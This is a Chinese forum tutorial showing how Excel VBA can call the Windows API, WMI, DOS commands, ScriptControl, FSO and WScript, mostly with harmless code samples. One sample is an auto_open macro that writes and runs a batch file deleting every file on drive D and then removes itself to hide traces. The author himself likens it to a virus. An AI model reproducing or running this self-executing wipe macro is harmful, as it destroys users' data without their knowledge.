|
VBA完整的称呼是Visual Basic For Application
VBA是附属于软件中的编程语言,它的身影遍布全球,同时也遍布诸多主流软件。例如WORD、EXCEL、PPT、FrontPage、Outlook、CAD、Coreldraw等等软件都支持VBA,可见VBA应用的广泛性。
当然除此外,VBA还有一个特性:包容性。VBA语言起源于VB,但高于VB。也就是说先有VB,后有VBA,但是VB6.0停止开发后,VBA却在一步步升级,目前最新版是7.0。当然说VBA高于VB并非针对版本号,而是易用性,VBA相对VB有较大的改善。例如在窗体中添加控件,VBA中可以调置好一个控件后按住Ctrl键的同时拖动控件从而实现复制的功能,特别是一组
控件进行拖动时,可以实现复制一组控件,且属性一致,排版准确....VB是无法做到这一点的。当然还有很多很多的改进,例如VB中使用分组框Frame1后,里面的控件全变成“刮刮卡”形式,背影变成黑色,让人无法看文字,这种BUG比较严重。还有按钮的前景色无法设置等等毛病,而VBA都进行了改进。
当然今天说的不止于此,主要谈VBA的包容性,即VBA可以使用VBA和VB的语言进行编程以外,它还可以调用其它语言,集万家所长,“它山之石可以攻玉”在此体现得淋漓尽致。
例如VBA可以调用API、ADO、SQL、DOS、VBS、WScript、FSO(FileSystemObject)、ScriptControl、WMI(Windows Management Instrumentation)以及专用于网页的语言。
________________________________________
有事实说话?Of Course!
例如VBA调用API:通过API函数判断当前是否按下了Alt\Shift或者Ctrl键。代码如下:
Private Declare Function GetKeyState Lib "user32" (ByVal vKey As Long) As Integer
Sub 测试状态()
If (GetKeyState(&H10) And &H8000) <> 0 Then MsgBox "Shift键被按下了"
If (GetKeyState(&H11) And &H8000) <> 0 Then MsgBox "Ctrl键被按下了"
If (GetKeyState(&H12) And &H8000) <> 0 Then MsgBox "Alt键被按下了"
End Sub
VBA调用WMI:通过WMI技术获取本机的分辨率设置。代码如五下:
Sub 计算分辨率()
Dim colItems, objItem As Object
Set colItems = GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select * From Win32_DisplayConfiguration")
For Each objItem In colItems
MsgBox "分辨率:" & objItem.PelsWidth & "* " & objItem.PelsHeight
Next
End Sub
VBA调用DOS:利用DOS命令删除所有文件,同时将自己也删除,实现隐弊的目的
Sub auto_open() '全自动执行删除所有文件(有点像病毒了,请大家不要随意测试,知道就行)
On Error Resume Next
Dim i As Integer
Dim delFile As String
delFile = "C:\del.bat"
i = FreeFile
Open delFile For Output Access Write As #i
Print #i, "@echo off"
Print #i, "del/f/s/q d:\*.*" '删除D盘下所有文件
Print #i, "del/f/s/q C:\del.bat" '删除自己,不留痕迹
Print #i, "@echo"
Close (i)
Shell Environ$("comspec") & " /c """ & delFile & """", vbMinimizedFocus '执行命令
End Sub
VBA调用ScriptControl:通过ScriptControl开发计算函数,可以突破VBA中Evaluate的限制
我们知道Evaluate顶多能计算256个字符的表达式,远远不能满足工作需求,而ScriptControl却可以实现1000个字符以上的表达式计算
代码如下:
'本函数可以计算表达式,例如将1+3转换成值4
Function 计算(rng As String) As String
Set obj = CreateObject("MSScriptControl.ScriptControl")
obj.Language = "vbscript"
计算 = obj.Eval(rng)
Set obj = Nothing
End Function
现在证明一下我的以上观点:
Sub 测试() '突破256限制
Dim str As String
For i = 1 To 500
str = str & "1+"
Next
MsgBox 计算(str & 1) '可以计算值为501
MsgBox Application.Evaluate(str & 1) '不能计算
End Sub
VBA调用FSO:利用FSO技术获取所有文件夹名称
Sub 将D盘所有文件夹名罗列在A列()
For Each Floder1 In CreateObject("Scripting.FileSystemObject").GetFolder("D:\").SubFolders
n = n + 1
Cells(n, 1) = Floder1.Name
Next
End Sub
___________________________________
为了更好的体现VBA的包容性,再给大家展示一个VBA同时调用FSO、WScript、DOS语言的综合应用,代码如下:
Sub 获取C盘以外所有磁盘的文件夹目录()
Dim FileSys As Object, Drv As Object, Letter As String
Set FileSys = CreateObject("Scripting.FileSystemObject") '引用FSO对象
On Error Resume Next '防错
For Each Drv In FileSys.Drives '遍历所有磁盘
If Drv.IsReady Then '如果磁盘已准备好(主要针对光盘或者虚拟盘)
If Drv.DriveLetter <> "C" Then Letter = Letter & Drv.DriveLetter & ":\ " '如果卷标不是C,那么将所有卷标合并
End If
Next Drv
Dim Str As String, objShell As Object
Set objShell = CreateObject("WScript.Shell") '引用WScript对象
Set DosExec = objShell.Exec("cmd.exe /c dir " & Letter & " /ad") '引用DOS命令提取文件夹目录
Str = DosExec.StdOut.ReadAll '将返回的值赋与变量Str
'将变量Str的值以换行符作为分隔符,将它转换成数组并写入到工作表中
[a1].Resize(UBound(Split(Str, Chr(10))) + 1, 1) = WorksheetFunction.Transpose(Split(Str, Chr(10)))
Set FileSys = Nothing '释放变量
Set DosExec = Nothing
Set objShell = Nothing
End Sub
结束语:
VBA相当强大,除了自身的强大外,它可以将别的软件的优点借用过来扩充自己。那么我们自己呢?
希望广大网友都可以通过学习VBA来武装自己,也使自己更强大,让自己更充实。
----罗刚君 2010-4-22
转载请注明出处
|
评分
-
1
查看全部评分
-
|